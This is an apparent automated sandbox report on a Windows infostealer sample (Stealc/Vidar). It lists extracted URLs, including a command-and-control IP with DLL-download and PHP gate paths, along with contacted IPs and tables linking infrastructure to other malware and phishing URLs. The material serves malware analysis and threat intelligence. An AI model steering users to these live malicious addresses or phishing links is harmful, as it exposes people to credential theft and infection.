https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://www.messenger.com	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://i.y.qq.com/n2/m/index.html	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://www.deezer.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllll	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://web.telegram.org/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpata	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CFBFHIEBKJKFHIEBFBAE.0.dr	false		unknown
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll=	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vibe.naver.com/today	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	false	URL Reputation: safe	unknown
https://assets.msn.com	b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, DAECGCGH.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll/	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206W	file.exe, 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_458.5.dr	false		unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		unknown
https://www.tiktok.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	false	URL Reputation: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		unknown
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll3	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://y.music.163.com/m/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://bard.google.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_458.5.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://web.whatsapp.com	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php~	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://m.kugou.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://www.office.com	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://outlook.live.com/mail/0/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
http://185.215.113.206/8	file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log7.9.dr, 2cc80dabc69f58b6_1.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	false	URL Reputation: safe	unknown
https://tidal.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown
https://ntp.msn.com	000003.log1.9.dr, 2cc80dabc69f58b6_0.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllF	file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpb	file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gaana.com/	0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.38	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.238	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545482
Start date and time:	2024-10-30 15:58:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@64/285@36/15
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 142.250.185.142, 66.102.1.84, 34.104.35.123, 142.250.186.163, 192.229.221.95, 142.250.185.106, 142.250.185.74, 142.250.185.138, 142.250.185.234, 142.250.186.74, 172.217.18.10, 216.58.206.42, 142.250.185.170, 216.58.212.170, 216.58.212.138, 142.250.74.202, 142.250.184.202, 142.250.185.202, 142.250.186.42, 142.250.186.138, 142.250.181.234, 172.217.23.106, 2.16.100.168, 204.79.197.203, 13.107.42.16, 142.250.186.142, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.205.80.42, 2.22.242.11, 2.22.242.105, 108.141.37.120, 2.23.209.166, 2.23.209.160, 2.23.209.162, 2.23.209.156, 2.23.209.158, 2.23.209.154, 2.23.209.150, 2.23.209.167, 2.23.209.168, 88.221.110.179, 88.221.110.195, 2.23.209.135, 2.23.209.141, 2.23.209.132, 2.23.209.131, 2.23.209.142, 2.23.209.143, 2.23.209.148, 2.23.209.189, 2.23.209.144, 2.23.209.149, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.39, 2.23.209.43, 2.23.209.46, 2.23.209.40, 2.23.209.36, 2.23.209.35, 2.23.209.37, 2.23.209.41,
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, wildcardtlu-ssl.az
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:59:29	API Interceptor	98x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
172.64.41.3	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
s-part-0017.t-0009.t-msedge.net	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://onedrivefileaccess.uwu.ai/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.leadsonline.ca	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	http://wesiakkaernten.fibery.io/@public/forms/gBNXdAWE	Get hash	malicious	Unknown	Browse	13.107.246.45
	byamPER0Gx.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, Mofksys	Browse	13.107.246.45
	4RNoaB1aYY.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://draxcc.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
sb.scorecardresearch.com	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.154.84.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	52.146.128.240
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	20.44.10.122
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	20.44.10.123
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/cristorei.neemo.com.br/yaya/aALPghQuwJ38KMxdobOJdzxm/YW50b25lbGxhLmNvc3RhQGVzYS5pbnQ=	Get hash	malicious	Tycoon2FA	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.101.168.44
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.75.60.91
	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse	52.109.76.240
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	52.111.231.17
	VERTRAG-pdf.zip	Get hash	malicious	Unknown	Browse	204.79.197.203
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.90.62
	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.145.203
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	162.247.243.29
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.206
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.140
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.18.90.62
	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.145.203
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	162.247.243.29
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.206
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.140
AMAZON-02US	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.216.218.136
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	54.231.236.168
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	52.222.236.122
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	13.32.121.40
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	SecuriteInfo.com.Win32.SuspectCrc.28663.30359.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/cristorei.neemo.com.br/yaya/aALPghQuwJ38KMxdobOJdzxm/YW50b25lbGxhLmNvc3RhQGVzYS5pbnQ=	Get hash	malicious	Tycoon2FA	Browse	13.33.187.60
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	http://wesiakkaernten.fibery.io/@public/forms/gBNXdAWE	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	18.198.38.11
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.187.34

JA3 Fingerprints

